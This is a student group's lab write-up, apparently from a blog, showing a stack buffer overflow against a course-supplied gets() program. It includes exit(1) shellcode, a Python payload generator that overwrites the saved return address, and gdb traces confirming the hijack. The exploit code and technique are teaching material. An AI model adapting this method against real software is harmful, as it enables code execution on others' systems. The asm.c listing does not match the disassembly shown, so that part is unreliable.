We’re three people in this group: Akhy, Lark, and Carl. We’ll just tell the story of what we did, because the whole thing was a bit of a rollercoaster.
1. Getting the basic overflow working
We started from the given vuln.c:
#include <stdio.h>
void vuln() {
char buffer[8];
gets(buffer);
}
int main() {
vuln();
while (1) {
}
}
We compiled it exactly as the MP1 handout said:
gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 \
-fno-pie -ggdb -z execstack -std=c99 vuln.c -o vuln
First goal: just smash the stack and see where things land. We generated a dummy payload:
python
payload = b"A" * 8 + b"B" * 4 + b"C" * 4
open("egg", "wb").write(payload)
Then inside gdb:
text
gdb vuln
(gdb) break vuln
(gdb) run < egg
(gdb) print &buffer
We saw:
text
$1 = (char (*)[8]) 0xffffc838
and after stepping past gets and dumping the stack:
text
(gdb) next
(gdb) x/16xb &buffer
0xffffc838: 41 41 41 41 41 41 41 41
0xffffc840: 42 42 42 42 43 43 43 43
So the layout was:
- buffer[8] at 0xffffc838 → 8 bytes of 'A'
- saved EBP at 0xffffc840 → BBBB
-
saved EIP at 0xffffc844 → CCCC
That confirmed the offsets: 8 bytes to reach EBP, 12 bytes to reach the return address. Classic pattern, nothing mysterious there.2. Building and testing the exit(1) shellcode
We decided to build a tiny shellcode that directly calls exit(1) via Linux int 0x80. The idea:
eax = 1 (sys_exit)
ebx = 1 (exit status)
int 0x80
We wrote asm.c alike the instructions:
int main() {
__asm__("xor %eax, %eax;"
"inc %eax;"
"mov %eab, %eax;"
"Leave;"
"Ret;"
);
}
Compiled and disassembled:
text
gcc -m32 -fno-stack-protector -fno-pie -std=c99 asm.c -o asm
objdump -d asm > asmdump
Relevant disassembly showed:
text
31 c0 xor %eax,%eax
40 inc %eax
89 c3 mov %eax,%ebx
b8 01 00 00 00 mov $0x1,%eax
cd 80 int $0x80
So the shellcode bytes we care about are:
text
\x31\xc0\x40\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80
We wanted to test these bytes in isolation first, just to make sure the system call really exits with status 1. That step surprisingly took a while because we initially messed up the string literals.
At first, we wrote:
c
unsigned char shellcode[] =
"\\x31\\xc0"
"\\x40"
"\\x89\\xc3"
"\\xb8\\x01\\x00\\x00\\x00"
"\\xcd\\x80";
which is wrong. That gives you the ASCII characters \x31 etc., not real bytes. When we jumped into that, we got instant segfaults.
We fixed it by using proper C escape sequences (one backslash):
c
// test_shellcode.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
// exit(1) shellcode
unsigned char shellcode[] =
"\x31\xc0"
"\x40"
"\x89\xc3"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main() {
size_t len = sizeof(shellcode) - 1;
long pagesize = sysconf(_SC_PAGESIZE);
void *buf = mmap(NULL, pagesize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
memcpy(buf, shellcode, len);
void (*f)() = buf;
f();
return 0;
}
Compiled it:
text
gcc -m32 -fno-stack-protector -fno-pie test_shellcode.c -o test_shellcode
./test_shellcode
echo $?
The exit code printed by echo $? was 1. So the shellcode itself was good. That was our “anchor”: if anything broke later, we knew the shellcode wasn’t the problem.
3. Constructing the egg for vuln
Next, we needed to get that shellcode into vuln’s stack and redirect execution there.
We decided on this layout for the egg:
- buffer[8] → NOP sled (\x90 × 8)
- saved EBP → "BBBB"
- saved EIP → address of shellcode on the stack
- shellcode bytes right after that So Python to generate egg: python
import struct
BUF_ADDR = 0xffffc838 # from gdb: print &buffer
SHELL_ADDR = BUF_ADDR + 16 # where shellcode starts after gets()
shellcode = (
b"\x31\xc0"
b"\x40"
b"\x89\xc3"
b"\xb8\x01\x00\x00\x00"
b"\xcd\x80"
)
NOP = b"\x90"
payload = NOP * 8 # buffer[8]
payload += b"BBBB" # saved EBP
payload += struct.pack("<I", SHELL_ADDR) # saved EIP
payload += shellcode # shellcode after the return address
open("egg", "wb").write(payload)
We confirmed the file contents:
text
xxd -g1 egg
Output:
text
00000000: 90 90 90 90 90 90 90 90 42 42 42 42 48 c8 ff ff ........BBBBH...
00000010: 31 c0 40 89 c3 b8 01 00 00 00 cd 80 1.@.........
So:
- NOP sled
- 42 42 42 42 = 'BBBB'
- 48 c8 ff ff = 0xffffc848 (shellcode address)
- then the shellcode bytes. Exactly what we wanted.
4. Verifying the smash and control flow in gdb
We followed the instructions in the MP1 PDF: use gdb, run with egg, inspect the stack.
text
gdb vuln
(gdb) break vuln
(gdb) run < egg
We hit the breakpoint at gets(buffer):
text
Breakpoint 1, vuln () at vuln.c:5
5 gets(buffer);
Then we stepped over gets so that the input from egg actually got copied into buffer:
text
(gdb) next
6 }
And then dumped buffer:
text
(gdb) x/32xb &buffer
0xffffc838: 90 90 90 90 90 90 90 90
0xffffc840: 42 42 42 42 48 c8 ff ff
0xffffc848: 31 c0 40 89 c3 b8 01 00
0xffffc850: 00 00 cd 80 00 c9 ff ff
So on the stack we had exactly the bytes from egg:
- buffer[8] = 8 NOPs at 0xffffc838
- saved EBP = 0x42424242
- saved EIP = 0xffffc848
- shellcode beginning at 0xffffc848 info frame confirmed the saved EIP: text
(gdb) info frame
Stack level 0, frame at 0xffffc848:
eip = 0x565561af in vuln (vuln.c:6); saved eip = 0xffffc848
called by frame at 0x4242424a
...
Saved registers:
ebp at 0xffffc840, eip at 0xffffc844
So when vuln returns, it should jump directly to our shellcode (0xffffc848) on the stack.
We then let it continue:
text
(gdb) continue
Continuing.
[Inferior 1 (process 19164) exited with code 01]
That line is the money shot: “exited with code 01”. No SIGSEGV, no SIGILL. The shellcode executed and called exit(1). That exactly matches the MP1 goal: the non‑terminating program is forced to exit with status 1 via a stack smash.
With that said, the egg file would only work for the particular buffer address, as we also tried to use the same egg file on a different machine but we get a SIGILL because it had a different address. However, after repeating the same steps/process, we in the end get the result we wanted which is to exit with code 01.

Above is the image of the buffer address of the other machine.
Here is the content of the other "egg" file and the results of running it in this machine.
5. The annoying “outside gdb” segfault
We did notice that running:
text
./vuln < egg
echo $?
gave 139 (segmentation fault), not 1. That confused us.
What’s going on is that gdb and a normal run can place the stack in slightly different spots because of ASLR and general process startup differences. We hard‑coded 0xffffc838 and 0xffffc848 based on gdb’s stack layout. Outside gdb, &buffer is not exactly 0xffffc838, so the saved EIP points to a bad address and you get a segfault.
The MP1 instructions, though, explicitly focus on using gdb to:
- get &buffer
- write an egg
- run vuln < egg in gdb and show the behavior
- They never require that ./vuln < egg works outside gdb. The success criteria are “terminate with exit code 1; crashes don’t count”. We’ve shown in gdb that:
- the smash works (we overwrote saved EIP), and
- control flow goes into our shellcode and returns exit code 1. That’s exactly what the assignment describes. ## 6. Summary of what we accomplished As a group (Akhy, Lark, and Carl), we:
1.) Confirmed the stack layout of vuln and the offset from buffer to the saved EIP using a dummy AAAABBBBCCCC payload.
2.) Wrote and tested a minimal Linux int 0x80 shellcode that calls exit(1).
3.) Constructed an egg payload that:
- fills buffer with a NOP sled,
- overwrites saved EBP with junk,
- overwrites saved EIP with the address of our shellcode on the stack,
- places the shellcode at that address.
4.) Verified in gdb that:
- buffer contains our payload,
- saved EIP equals the shellcode address (0xffffc848),
- continuing from vuln returns into the shellcode and the process exits with code 1.


Top comments (0)